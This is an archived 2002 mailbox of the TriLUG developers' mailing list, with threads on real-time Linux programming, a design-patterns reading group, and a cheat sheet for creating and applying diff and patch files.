prhodes@vdsinc.com Received: from mail.vdsinc.com (66-0-79-114.deltacom.net [66.0.79.114]) by mailrtr2.mailzone.edeltacom.com (Mirapoint) with ESMTP id AGO08135; Sat, 23 Feb 2002 22:43:31 -0500 (EST) Subject: Re: [Dev] Interest in r-t app development in GNU/Linux To: dev@trilug.org X-Mailer: Lotus Notes Release 5.0 (Intl) 30 March 1999 Message-ID: Date: Sat, 23 Feb 2002 22:49:10 -0500 X-MIMETrack: Serialize by Router on vdsdevnotes/vds/us(Release 5.0.2b (Intl)|16 December 1999) at 02/23/2002 10:49:20 PM MIME-Version: 1.0 Content-type: text/plain; charset=us-ascii Sender: dev-admin@trilug.org Errors-To: dev-admin@trilug.org X-BeenThere: dev@trilug.org X-Mailman-Version: 2.0.8 Precedence: bulk Reply-To: dev@trilug.org List-Help: List-Post: List-Subscribe: , List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: > Is anyone one the list interested in discussing and sharing code for > non-blocking I/O and/or IPC and/or pthreaded and/or fat-process real-time > apps in a GNU/Linux environment? -- Sure, I'd be interested in some discussion along those lines. You're probably at a much more advanced level of knowledge than I am... but I'm interested, if not terribly knowledgeable in that area. TTYL, Phillip Rhodes Application Designer Voice Data Solutions 919-571-4300 x225 prhodes@vdsinc.com America is at war with Afghanistan. America has always been at war with Afghanistan. Russia is our ally. Russia has always been our ally. Read Orwell's 1984. Read a newspaper. Fear the future. The history of liberty is a history of resistance. The history of liberty is a history of limitations of governmental power, not the increase of it. - Woodrow Wilson Speech in New York, September 9, 1912 Those who are willing to sacrifice essential liberties for a little order, will lose both and deserve neither. - Benjamin Franklin From brent@mutt.rcfile.org Mon Feb 25 13:20:24 2002 Received: from mail4.nc.rr.com (fe4.southeast.rr.com [24.93.67.51]) by fatalpha.trilug.org (8.9.3/8.9.3) with ESMTP id NAA31335 for ; Mon, 25 Feb 2002 13:20:24 -0500 Received: from mutt.rcfile.org ([66.57.26.120]) by mail4.nc.rr.com with Microsoft SMTPSVC(5.5.1877.687.68); Mon, 25 Feb 2002 13:22:45 -0500 Received: (from brent@localhost) by mutt.rcfile.org (8.11.6/8.11.6) id g1PIMPL34733 for dev@trilug.org; Mon, 25 Feb 2002 13:22:25 -0500 (EST) (envelope-from brent) Date: Mon, 25 Feb 2002 13:22:25 -0500 From: Brent Verner To: dev@trilug.org Subject: Re: [Dev] Interest in r-t app development in GNU/Linux Message-ID: <20020225182225.GB33972@rcfile.org> References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.3.27i X-muttrc: $Id: .muttrc,v 1.9 2002/01/02 07:04:49 brent Exp $ X-uname: FreeBSD 4.5-STABLE #17: Sat Feb 9 15:01:43 EST 2002 brent@mutt.rcfile.org:/usr/obj/usr/src/sys/MUTT Sender: dev-admin@trilug.org Errors-To: dev-admin@trilug.org X-BeenThere: dev@trilug.org X-Mailman-Version: 2.0.8 Precedence: bulk Reply-To: dev@trilug.org List-Help: List-Post: List-Subscribe: , List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: [2002-02-23 15:49] M. Mueller (bhu5nji) said: | Is anyone one the list interested in discussing and sharing code for | non-blocking I/O and/or IPC and/or pthreaded and/or fat-process real-time | apps in a GNU/Linux environment? sounds interesting. What does "fat-process" real-time mean? cheers. b -- "Develop your talent, man, and leave the world something. Records are really gifts from people. To think that an artist would love you enough to share his music with anyone is a beautiful thing." -- Duane Allman From jvmatthe@math.duke.edu Mon Feb 25 13:27:20 2002 Received: from math.duke.edu (augustus.math.duke.edu [152.3.25.8]) by fatalpha.trilug.org (8.9.3/8.9.3) with ESMTP id NAA31373 for ; Mon, 25 Feb 2002 13:27:19 -0500 Received: from ph4tp1p3 (ph4tp1p3 [152.3.25.77]) by math.duke.edu (8.11.6/8.11.6) with ESMTP id g1PITMY22668 for ; Mon, 25 Feb 2002 13:29:22 -0500 From: John Matthews To: dev@trilug.org Content-Type: text/plain Content-Transfer-Encoding: 7bit X-Mailer: Evolution/1.0.2 (1.0.2-2.7x) Date: 25 Feb 2002 13:29:22 -0500 Message-Id: <1014661762.15339.5.camel@ph4tp1p3> Mime-Version: 1.0 Subject: [Dev] Reading group update Sender: dev-admin@trilug.org Errors-To: dev-admin@trilug.org X-BeenThere: dev@trilug.org X-Mailman-Version: 2.0.8 Precedence: bulk Reply-To: dev@trilug.org List-Help: List-Post: List-Subscribe: , List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: Since I was unable to attend the reading group on Saturday, can someone tell me how it went? Regards, matt -- Matt Matthews \ ph: 919.660.2811 \ Use GNU/Linux _o) w00t Duke Univ., Postdoc\ jvmatthe@math.duke.edu \____________ /\\ Dept. of Mathematics\ http://www.math.duke.edu/~jvmatthe/ \ _\_V From bhu5nji@yahoo.com Mon Feb 25 13:55:41 2002 Received: from blount.mail.mindspring.net (blount.mail.mindspring.net [207.69.200.226]) by fatalpha.trilug.org (8.9.3/8.9.3) with ESMTP id NAA31485 for ; Mon, 25 Feb 2002 13:55:41 -0500 Received: from user-2ivf4b7.dsl.mindspring.com ([165.247.145.103] helo=there) by blount.mail.mindspring.net with smtp (Exim 3.33 #1) id 16fQJi-0008Jf-00 for dev@trilug.org; Mon, 25 Feb 2002 13:57:43 -0500 Content-Type: text/plain; charset="iso-8859-1" From: "M. Mueller (bhu5nji)" To: dev@trilug.org Subject: Re: [Dev] Interest in r-t app development in GNU/Linux Date: Mon, 25 Feb 2002 13:53:57 -0500 X-Mailer: KMail [version 1.3.1] References: <20020225182225.GB33972@rcfile.org> In-Reply-To: <20020225182225.GB33972@rcfile.org> MIME-Version: 1.0 Content-Transfer-Encoding: 8bit Message-Id: Sender: dev-admin@trilug.org Errors-To: dev-admin@trilug.org X-BeenThere: dev@trilug.org X-Mailman-Version: 2.0.8 Precedence: bulk Reply-To: dev@trilug.org List-Help: List-Post: List-Subscribe: , List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: On Monday 25 February 2002 01:22 pm, you wrote: > [2002-02-23 15:49] M. Mueller (bhu5nji) said: > | Is anyone one the list interested in discussing and sharing code for > | non-blocking I/O and/or IPC and/or pthreaded and/or fat-process real-time > | apps in a GNU/Linux environment? > > sounds interesting. What does "fat-process" real-time mean? > I threw in all the buzz words I could think of. fat process (fork) these are my bread and butter pthread (thin process), I don't do these yet real-time, as you probably know, is a system that responds to outside stimuli fast enough to be successful in its mission. THis a pretty mushy definition. The POSIX standard includes r-t elements. I don't know the POSIX standard beyond how to spell it. I've spent lots of time doing r-t systems. I very new at doing them in GNU/Linux. So far, so good. I'm very impressed. There are embedded Linux efforts, but that's not what I'm proposing a discussion on (but we could end up there). I am thinking about exposing my app to the world at sometime. I'd like to get it reviewed in a smaller group leading up to that point. That's my motivation to discuss r-t apps. Mike M. > cheers. > b -- Mike M. Support TriLUG. Reply directly for details on how to send a check. No amount is too small. Subscribe to all the TriLUG lists at http://trilug.org/mailman/listinfo From ed@eh3.com Mon Feb 25 14:23:03 2002 Received: from eddy.mines.edu (eddy.Mines.EDU [138.67.24.111]) by fatalpha.trilug.org (8.9.3/8.9.3) with ESMTP id OAA31639 for ; Mon, 25 Feb 2002 14:23:03 -0500 Received: (from edhill@localhost) by eddy.mines.edu (8.11.6/8.11.6) id g1PJOxx01848; Mon, 25 Feb 2002 12:24:59 -0700 X-Authentication-Warning: eddy.mines.edu: edhill set sender to ed@eh3.com using -f Subject: Re: [Dev] Interest in r-t app development in GNU/Linux From: Ed Hill To: dev@trilug.org In-Reply-To: References: <20020225182225.GB33972@rcfile.org> Content-Type: text/plain Content-Transfer-Encoding: 7bit X-Mailer: Evolution/1.0.2 Date: 25 Feb 2002 12:24:59 -0700 Message-Id: <1014665099.1126.62.camel@eddy> Mime-Version: 1.0 Sender: dev-admin@trilug.org Errors-To: dev-admin@trilug.org X-BeenThere: dev@trilug.org X-Mailman-Version: 2.0.8 Precedence: bulk Reply-To: dev@trilug.org List-Help: List-Post: List-Subscribe: , List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: On Mon, 2002-02-25 at 11:53, M. Mueller (bhu5nji) wrote: > On Monday 25 February 2002 01:22 pm, you wrote: > > [2002-02-23 15:49] M. Mueller (bhu5nji) said: > > | Is anyone one the list interested in discussing and sharing code for > > | non-blocking I/O and/or IPC and/or pthreaded and/or fat-process real-time > > | apps in a GNU/Linux environment? > > > > sounds interesting. What does "fat-process" real-time mean? > > > > I threw in all the buzz words I could think of. > > fat process (fork) these are my bread and butter > pthread (thin process), I don't do these yet Heh, kinda funny to hear pthreads vs. fork() referred to as thin vs. fat since (AFAIK) pthreads are implemented on Linux using "clone()" (which is very much like fork()). But I understand that its different on most commercial Unixes... I'm not keen in R/T apps per-se but would like to hear about your experiences with threads and non-blocking IO. I have some fork/exec and pthreads experience--will have to go dig out my copy of Butenoff... ;-) > I am thinking about exposing my app to the world at sometime. I'd like to > get it reviewed in a smaller group leading up to that point. That's my > motivation to discuss r-t apps. Cool. What does it do? Ed -- Edward H. Hill III, PhD Post-Doctoral Researcher | Email: ed@eh3.com, ehill@mines.edu Division of ESE | URL: http://www.eh3.com Colorado School of Mines | Phone: 303-273-3483 Golden, CO 80401 | Fax: 303-273-3311 Key fingerprint = 5BDE 4DA1 66BE 4F7B BC17 3A0C 932B 7266 1E76 F123 From bhu5nji@yahoo.com Mon Feb 25 15:05:08 2002 Received: from barry.mail.mindspring.net (barry.mail.mindspring.net [207.69.200.25]) by fatalpha.trilug.org (8.9.3/8.9.3) with ESMTP id PAA31839 for ; Mon, 25 Feb 2002 15:05:07 -0500 Received: from user-2ivf4b7.dsl.mindspring.com ([165.247.145.103] helo=there) by barry.mail.mindspring.net with smtp (Exim 3.33 #1) id 16fROw-0003pD-00 for dev@trilug.org; Mon, 25 Feb 2002 15:07:10 -0500 Content-Type: text/plain; charset="iso-8859-1" From: "M. Mueller (bhu5nji)" To: dev@trilug.org Subject: Re: [Dev] Interest in r-t app development in GNU/Linux Date: Mon, 25 Feb 2002 15:03:26 -0500 X-Mailer: KMail [version 1.3.1] References: <1014665099.1126.62.camel@eddy> In-Reply-To: <1014665099.1126.62.camel@eddy> MIME-Version: 1.0 Content-Transfer-Encoding: 8bit Message-Id: Sender: dev-admin@trilug.org Errors-To: dev-admin@trilug.org X-BeenThere: dev@trilug.org X-Mailman-Version: 2.0.8 Precedence: bulk Reply-To: dev@trilug.org List-Help: List-Post: List-Subscribe: , List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: On Monday 25 February 2002 02:24 pm, you wrote: > On Mon, 2002-02-25 at 11:53, M. Mueller (bhu5nji) wrote: > > On Monday 25 February 2002 01:22 pm, you wrote: > > > [2002-02-23 15:49] M. Mueller (bhu5nji) said: > > > | Is anyone one the list interested in discussing and sharing code for > > > | non-blocking I/O and/or IPC and/or pthreaded and/or fat-process > > > | real-time apps in a GNU/Linux environment? > > > > > > sounds interesting. What does "fat-process" real-time mean? > > > > I threw in all the buzz words I could think of. > > > > fat process (fork) these are my bread and butter > > pthread (thin process), I don't do these yet > > Heh, kinda funny to hear pthreads vs. fork() referred to as thin vs. fat > since (AFAIK) pthreads are implemented on Linux using "clone()" (which > is very much like fork()). But I understand that its different on most > commercial Unixes... That's the kind of stuff I like to learn. My knowledge stem from Stevens who was Unix agnostic AFAIK. He sometimes points out implementational details like the one you mention above. > > I'm not keen in R/T apps per-se but would like to hear about your > experiences with threads and non-blocking IO. I have some fork/exec and > pthreads experience--will have to go dig out my copy of Butenoff... ;-) > > > I am thinking about exposing my app to the world at sometime. I'd like > > to get it reviewed in a smaller group leading up to that point. That's > > my motivation to discuss r-t apps. > > Cool. What does it do? www.signalnetware.com 95% of my app needs to be OS to bring comfort to wary users. We all know that feeling :-/ It's quite a different way to do business. I am learning as I go. I only charge for 5% of the app and I don't charge alot. I'm thinking about going unlimited license to educational concerns. > > Ed -- Mike M. Support TriLUG. Reply directly for details on how to send a check. No amount is too small. Subscribe to all the TriLUG lists at http://trilug.org/mailman/listinfo From bhu5nji@yahoo.com Mon Feb 25 22:38:39 2002 Received: from smtp10.atl.mindspring.net (smtp10.atl.mindspring.net [207.69.200.246]) by fatalpha.trilug.org (8.9.3/8.9.3) with ESMTP id WAA01457 for ; Mon, 25 Feb 2002 22:38:39 -0500 Received: from user-2ivf4b7.dsl.mindspring.com ([165.247.145.103] helo=there) by smtp10.atl.mindspring.net with smtp (Exim 3.33 #1) id 16fYTp-0002rp-00 for dev@trilug.org; Mon, 25 Feb 2002 22:40:42 -0500 Content-Type: text/plain; charset="iso-8859-1" From: "M. Mueller (bhu5nji)" To: dev@trilug.org Subject: Re: [Dev] Reading group update Date: Mon, 25 Feb 2002 22:36:55 -0500 X-Mailer: KMail [version 1.3.1] References: <1014661762.15339.5.camel@ph4tp1p3> In-Reply-To: <1014661762.15339.5.camel@ph4tp1p3> MIME-Version: 1.0 Content-Transfer-Encoding: 8bit Message-Id: Sender: dev-admin@trilug.org Errors-To: dev-admin@trilug.org X-BeenThere: dev@trilug.org X-Mailman-Version: 2.0.8 Precedence: bulk Reply-To: dev@trilug.org List-Help: List-Post: List-Subscribe: , List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: My overall impression is that this is going to work out pretty well. It was a meet and greet session. We cracked the book. The C++ inside is not daunting (unlike the STL Fibonacci series in error messages torture device). On comment made in the meeting that stuck with me was that the book offers a language as well as technique. If more people adopted the design pattern language there would be increased efficiency in communication. Soon a decorator will mean more to you than just being a person featured on HGTV. The group agreed to read the first section (Chap 1 and 2) for the next meeting March 9. The venue is spacious, attractive, and smells of new carpet. We discussed using the dev@trilug.org for discussion. We decided we would use it until we got booted off (at least that was what I decided the outcome was; somebody please correct me if I misunderstood). On Monday 25 February 2002 01:29 pm, you wrote: > Since I was unable to attend the reading group on Saturday, can someone > tell me how it went? > > Regards, > matt -- Mike M. Support TriLUG. Reply directly for details on how to send a check. No amount is too small. Subscribe to all the TriLUG lists at http://trilug.org/mailman/listinfo From jonc@nc.rr.com Mon Feb 25 23:18:33 2002 Received: from mail8.nc.rr.com ([24.93.67.55]) by fatalpha.trilug.org (8.9.3/8.9.3) with ESMTP id XAA01704 for ; Mon, 25 Feb 2002 23:18:33 -0500 Received: from there ([66.26.238.174]) by mail8.nc.rr.com with Microsoft SMTPSVC(5.5.1877.687.68); Mon, 25 Feb 2002 23:19:57 -0500 Content-Type: text/plain; charset="iso-8859-1" From: Jon Carnes Organization: HAHT Commerce To: dev@trilug.org, "M. Mueller (bhu5nji)" Subject: Re: [Dev] Reading group update Date: Mon, 25 Feb 2002 23:20:36 -0500 X-Mailer: KMail [version 1.3.2] References: <1014661762.15339.5.camel@ph4tp1p3> In-Reply-To: MIME-Version: 1.0 Content-Transfer-Encoding: 8bit Message-ID: <042375719041a22FE8@mail8.nc.rr.com> Sender: dev-admin@trilug.org Errors-To: dev-admin@trilug.org X-BeenThere: dev@trilug.org X-Mailman-Version: 2.0.8 Precedence: bulk Reply-To: dev@trilug.org X-Reply-To: jonc@nc.rr.com List-Help: List-Post: List-Subscribe: , List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: On Monday 25 February 2002 10:36 pm, M. Mueller (bhu5nji) wrote: > The group agreed to read the first section (Chap 1 and 2) for the next > meeting March 9. > > The venue is spacious, attractive, and smells of new carpet. > > We discussed using the dev@trilug.org for discussion. We decided we would > use it until we got booted off (at least that was what I decided the > outcome was; somebody please correct me if I misunderstood). I am hoping to read along - but I can't attend the meetings, so I would appreciate the discussion on the list. Jon Carnes From lovelace@wayfarer.org Mon Feb 25 23:27:30 2002 Received: from maddux.wayfarer.org (wayfarer.org [4.18.171.141]) by fatalpha.trilug.org (8.9.3/8.9.3) with SMTP id XAA01775 for ; Mon, 25 Feb 2002 23:27:29 -0500 Received: (qmail 22029 invoked by uid 401); 26 Feb 2002 04:29:44 -0000 Received: from localhost (HELO tigger.house.wayfarer.org) (lovelace@127.0.0.1) by localhost with SMTP; 26 Feb 2002 04:29:44 -0000 Subject: Re: [Dev] Reading group update From: Tanner Lovelace To: dev@trilug.org In-Reply-To: References: <1014661762.15339.5.camel@ph4tp1p3> Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="=-s0AtSlHOQyhaCAVlG0Qo" X-Mailer: Evolution/1.0.21mdk Date: 25 Feb 2002 23:28:58 -0500 Message-Id: <1014697739.13415.3.camel@tigger.house.wayfarer.org> Mime-Version: 1.0 Sender: dev-admin@trilug.org Errors-To: dev-admin@trilug.org X-BeenThere: dev@trilug.org X-Mailman-Version: 2.0.8 Precedence: bulk Reply-To: dev@trilug.org List-Help: List-Post: List-Subscribe: , List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: --=-s0AtSlHOQyhaCAVlG0Qo Content-Type: text/plain Content-Transfer-Encoding: quoted-printable On Mon, 2002-02-25 at 22:36, M. Mueller (bhu5nji) wrote: > My overall impression is that this is going to work out pretty well. =20 >=20 > It was a meet and greet session. We cracked the book. The C++ inside is= not=20 > daunting (unlike the STL Fibonacci series in error messages torture devic= e). Torture device? So, does that make me a torturer?!? Hmmmm... :-/ :-) =20 > We discussed using the dev@trilug.org for discussion. We decided we woul= d=20 > use it until we got booted off (at least that was what I decided the outc= ome=20 > was; somebody please correct me if I misunderstood).=20 Please, please do use dev@trilug.org. Although I don't really have time to go to the meetings, I would love to hear the extra discussion (I do have the book for reference). Tanner (thinking of what other "torture devices" he can come up with..:) --=20 Tanner Lovelace | lovelace@wayfarer.org | http://wtl.wayfarer.org/ --*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*-- GPG Fingerprint =3D A66C 8660 924F 5F8C 71DA BDD0 CE09 4F8E DE76 39D4 GPG Key can be found at http://wtl.wayfarer.org/lovelace.gpg.asc --*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*-- Those who are willing to sacrifice essential liberties for a little=20 order, will lose both and deserve neither. -- Benjamin Franklin=20 History teaches that grave threats to liberty often come in times of urgency, when constitutional rights seem too extravagant to=20 endure. -- Justice Thurgood Marshall, 1989=20 --=-s0AtSlHOQyhaCAVlG0Qo Content-Type: application/pgp-signature; name=signature.asc Content-Description: This is a digitally signed message part -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: For info see http://www.gnupg.org iEYEABECAAYFAjx7DwoACgkQzglPjt52OdQM2ACfewhnpw6viWPHlcjFGtSRrUPE pP8AoNS5Z075jab5+fHh+B9A3+Ox5k/Z =cwyK -----END PGP SIGNATURE----- --=-s0AtSlHOQyhaCAVlG0Qo-- From jvmatthe@math.duke.edu Tue Feb 26 00:39:09 2002 Received: from math.duke.edu (augustus.math.duke.edu [152.3.25.8]) by fatalpha.trilug.org (8.9.3/8.9.3) with ESMTP id AAA02100 for ; Tue, 26 Feb 2002 00:39:09 -0500 Received: from ph4tp1p3.math.duke.edu (ph4tp1p3 [152.3.25.77]) by math.duke.edu (8.11.6/8.11.6) with ESMTP id g1Q5fBY06451 for ; Tue, 26 Feb 2002 00:41:12 -0500 Received: (from jvmatthe@localhost) by ph4tp1p3.math.duke.edu (8.11.6/8.9.3) id g1Q5fCR18621 for dev@trilug.org; Tue, 26 Feb 2002 00:41:12 -0500 Date: Tue, 26 Feb 2002 00:41:12 -0500 From: Matt Matthews To: dev@trilug.org Subject: Re: [Dev] Reading group update Message-ID: <20020226004112.A18592@ph4tp1p3.math.duke.edu> References: <1014661762.15339.5.camel@ph4tp1p3> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5.1i In-Reply-To: ; from bhu5nji@yahoo.com on Mon, Feb 25, 2002 at 10:36:55PM -0500 Sender: dev-admin@trilug.org Errors-To: dev-admin@trilug.org X-BeenThere: dev@trilug.org X-Mailman-Version: 2.0.8 Precedence: bulk Reply-To: dev@trilug.org List-Help: List-Post: List-Subscribe: , List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: On Mon, Feb 25, 2002 at 10:36:55PM -0500, M. Mueller (bhu5nji) wrote: > The group agreed to read the first section (Chap 1 and 2) for the next > meeting March 9. Blast! Yet another meeting I can't attend. :^\ (This includes the next TriLUG too. :^( ) I've read chapters 1 & 2 before, but I'll read them again. If anything strikes me as discussion-worthy, I'll post here. Regards, matt -- Matt Matthews \ ph: 919.660.2811 \ Use GNU/Linux _o) w00t Duke Univ., Postdoc\ jvmatthe@math.duke.edu \____________ /\\ Dept. of Mathematics\ http://www.math.duke.edu/~jvmatthe/ \ _\_V From johndavi@us.ibm.com Tue Feb 26 09:26:08 2002 Received: from e21.nc.us.ibm.com (e21.nc.us.ibm.com [32.97.136.227]) by fatalpha.trilug.org (8.9.3/8.9.3) with ESMTP id JAA04803 for ; Tue, 26 Feb 2002 09:26:08 -0500 Received: from southrelay02.raleigh.ibm.com (southrelay02.raleigh.us.ibm.com [9.37.3.209]) by e21.nc.us.ibm.com (8.9.3/8.9.3) with ESMTP id IAA66672 for ; Tue, 26 Feb 2002 08:23:00 -0600 Received: from d04nms11.raleigh.ibm.com (d04nms11.raleigh.ibm.com [9.27.5.140]) by southrelay02.raleigh.ibm.com (8.11.1m3/NCO/Ver6.00) with ESMTP id g1QERcB28560 for ; Tue, 26 Feb 2002 09:27:39 -0500 Importance: Normal Sensitivity: Subject: Re: [Dev] Reading group update To: dev@trilug.org X-Mailer: Lotus Notes Release 5.0.4a July 24, 2000 Message-ID: From: "John F Davis" Date: Tue, 26 Feb 2002 08:46:54 -0500 X-MIMETrack: Serialize by Router on D04NMS11/04/M/IBM(Release 5.0.9 |November 16, 2001) at 02/26/2002 09:27:39 AM MIME-Version: 1.0 Content-type: text/plain; charset=us-ascii Sender: dev-admin@trilug.org Errors-To: dev-admin@trilug.org X-BeenThere: dev@trilug.org X-Mailman-Version: 2.0.8 Precedence: bulk Reply-To: dev@trilug.org List-Help: List-Post: List-Subscribe: , List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: Hello Good deal. I was unable to make the meeting Saturday, but I have received my book. I'll see you March 9th. JD "M. Mueller (bhu5nji)" @trilug.org on 02/25/2002 10:36:55 PM Please respond to dev@trilug.org Sent by: dev-admin@trilug.org To: dev@trilug.org cc: Subject: Re: [Dev] Reading group update My overall impression is that this is going to work out pretty well. It was a meet and greet session. We cracked the book. The C++ inside is not daunting (unlike the STL Fibonacci series in error messages torture device). On comment made in the meeting that stuck with me was that the book offers a language as well as technique. If more people adopted the design pattern language there would be increased efficiency in communication. Soon a decorator will mean more to you than just being a person featured on HGTV. The group agreed to read the first section (Chap 1 and 2) for the next meeting March 9. The venue is spacious, attractive, and smells of new carpet. We discussed using the dev@trilug.org for discussion. We decided we would use it until we got booted off (at least that was what I decided the outcome was; somebody please correct me if I misunderstood). On Monday 25 February 2002 01:29 pm, you wrote: > Since I was unable to attend the reading group on Saturday, can someone > tell me how it went? > > Regards, > matt -- Mike M. Support TriLUG. Reply directly for details on how to send a check. No amount is too small. Subscribe to all the TriLUG lists at http://trilug.org/mailman/listinfo _______________________________________________ Dev mailing list Dev@trilug.org http://www.trilug.org/mailman/listinfo/dev From johndavi@us.ibm.com Thu Feb 28 11:26:39 2002 Received: from e21.nc.us.ibm.com (e21.nc.us.ibm.com [32.97.136.227]) by fatalpha.trilug.org (8.9.3/8.9.3) with ESMTP id LAA20957 for ; Thu, 28 Feb 2002 11:26:39 -0500 Received: from southrelay02.raleigh.ibm.com (southrelay02.raleigh.us.ibm.com [9.37.3.209]) by e21.nc.us.ibm.com (8.9.3/8.9.3) with ESMTP id KAA10556; Thu, 28 Feb 2002 10:23:28 -0600 Received: from d04nms11.raleigh.ibm.com (d04nms11.raleigh.ibm.com [9.27.5.140]) by southrelay02.raleigh.ibm.com (8.11.1m3/NCO/VER6.00) with ESMTP id g1SGSWg76806; Thu, 28 Feb 2002 11:28:34 -0500 Importance: Normal Sensitivity: To: dev@trilug.org, kernelnewbies@nl.linux.org X-Mailer: Lotus Notes Release 5.0.4a July 24, 2000 Message-ID: From: "John F Davis" Date: Thu, 28 Feb 2002 11:28:30 -0500 X-MIMETrack: Serialize by Router on D04NMS11/04/M/IBM(Release 5.0.9 |November 16, 2001) at 02/28/2002 11:28:34 AM MIME-Version: 1.0 Content-type: text/plain; charset=us-ascii Subject: [Dev] embarrassing patch question Sender: dev-admin@trilug.org Errors-To: dev-admin@trilug.org X-BeenThere: dev@trilug.org X-Mailman-Version: 2.0.8 Precedence: bulk Reply-To: dev@trilug.org List-Help: List-Post: List-Subscribe: , List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: Hello Ok. I've been using patch and I've asked some questions about it on IRC, but I'm still not sure about how to use it "CORRECTLY" or in the "PRESCRIBED-METHOD". So, please correct me. I want to create a patch file to give to my co-workers and instructions on how to use it. With that said, here is the scenario: I have a original directory called foo.orig and a "up-to-date" directory called foo.latest. So, I created a patch file using this syntax: diff -Naur foo.orig foo.latest > foo.patch Then to apply the patch, I did: patch -p1 foo < foo.patch or patch -p1 foo.orig < foo.patch I can't remember which one I did. I think this is right. However, it would be great if someone would clear up the bit about the target directory. Does the target directory have to called the same as the "patched" or "orig" directory? Is there a way to specify or edit the patch file so that the end user can have their own custom directory name. For instance, I used foo and foo.orig, but the end user might have directory names like foo2 or foo.nfs, etc. JD From filiond@videotron.ca Thu Feb 28 11:37:47 2002 Received: from VL-MS-MR001.sc1.videotron.ca (relais.videotron.ca [24.201.245.36]) by fatalpha.trilug.org (8.9.3/8.9.3) with ESMTP id LAA21026 for ; Thu, 28 Feb 2002 11:37:47 -0500 Received: from videotron.ca ([207.96.202.136]) by VL-MS-MR001.sc1.videotron.ca (Netscape Messaging Server 4.15) with ESMTP id GS94Y703.LD8; Thu, 28 Feb 2002 11:39:43 -0500 Message-ID: <3C7E5D4E.397ACF8@videotron.ca> Date: Thu, 28 Feb 2002 11:39:42 -0500 From: David Filion X-Mailer: Mozilla 4.79 [en] (WinNT; U) X-Accept-Language: en MIME-Version: 1.0 To: John F Davis CC: dev@trilug.org, kernelnewbies@nl.linux.org References: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Subject: [Dev] Re: embarrassing patch question Sender: dev-admin@trilug.org Errors-To: dev-admin@trilug.org X-BeenThere: dev@trilug.org X-Mailman-Version: 2.0.8 Precedence: bulk Reply-To: dev@trilug.org List-Help: List-Post: List-Subscribe: , List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: John F Davis wrote: > > Hello > > Ok. I've been using patch and I've asked some questions about it on IRC, > but I'm still not > sure about how to use it "CORRECTLY" or in the "PRESCRIBED-METHOD". So, > please correct me. > > I want to create a patch file to give to my co-workers and instructions on > how to use it. > > With that said, here is the scenario: > > I have a original directory called foo.orig and a "up-to-date" directory > called foo.latest. > So, I created a patch file using this syntax: > diff -Naur foo.orig foo.latest > foo.patch > > Then to apply the patch, I did: > patch -p1 foo < foo.patch > or > patch -p1 foo.orig < foo.patch > I can't remember which one I did. > > I think this is right. However, it would be great if someone would clear > up the bit > about the target directory. Does the target directory have to called the > same as the > "patched" or "orig" directory? Is there a way to specify or edit the patch > file so > that the end user can have their own custom directory name. For instance, > I used foo and foo.orig, but the end user might have directory names > like foo2 or foo.nfs, etc. > > JD > > -- > Kernelnewbies: Help each other learn about the Linux kernel. > Archive: http://mail.nl.linux.org/kernelnewbies/ > IRC Channel: irc.openprojects.net / #kernelnewbies > Web Page: http://www.kernelnewbies.org/ I threw together something a while ago when I was in the same situation, I've included it below. Because we are using Solaris at work, it covers the older and newer versions of diff/patch. HTH David Filion --- Start of doc --- Creating a patch Below is a cheat sheet for creating and applying patch files. For more details about each command, check the commands manpage, info document or try "command --help". 1.0 Using older versions of diff/patch. The older diff/patch utilities don't understand the newer unified format. Thus, the older conext format must be used. Thus the -c option that appears. 1.1 Create the patch diff -c -b -r /original /new > filename.patch diff options: -c Produces a listing of differences with three lines of context. -b Ignores trailing blanks (spaces and tabs) and treats other strings of blanks as equivalent. -r Applies diff recursively to common subdirectories encountered. 1.2 Apply the patch patch -c -l -p1 -d /original < filename.patch patch options: -c Interpret the patch file as a context difference (the output of the command diff when the -c or -C options are specified). -l Cause any sequence of blank characters in the difference script to match any sequence of blank characters in the input file. Other characters will be matched exactly. -d Change the current directory to dir before processing. -p NUM Strip NUM leading components from file names. 2.0 Using newer/GNU diff and patch utilities. Unlike their older counterparts, the newer/GNU versions of diff understand the unified format of patch file. This is the format used by the Linux kernel developers. 2.1 Create the patch diff -u oldfile newfile > filename.patch or diff -urN /olddir /newdir > filename.patch or diff -urN -X excludes /olddir /newdir > filename.patch diff options: -u Output (default 2) lines of unified context. -r Recursively compare any subdirectories found. -N Treat absent files as empty. -X FILE Exclude files that match any pattern in FILE. Note: The -u options can be replaced with -c to create a context format diff file with a setting of two lines. 2.2 Apply the patch gzip -cd patch.gz | patch -p0 or bzip2 -dc patch.bz2 | patch -p0 or patch -p0 < filename.patch patch options: -p NUM Strip NUM leading components from file names. 3.0 Creating a patch using CVS. A patch is created in CVS using the rdiff cvs command. 3.1 Create the patch. o Create a context (default) format diff of release tags rel1 and rel2 for module. cvs rdiff -r rel1 -r rel2 module o Create a unidiff format diff of release tags rel1 and rel2 for module. cvs rdiff -u -r rel1 -r rel2 module cvs rdiff options: -r tag Use revision -u Use the unidiff format. -c Use the context format (default). Copyright (c) David Filion (filiond@videotron.ca) Created 2001/09/12. From jmm@sublogic.com Thu Feb 28 12:30:58 2002 Received: from bp6.sublogic.com 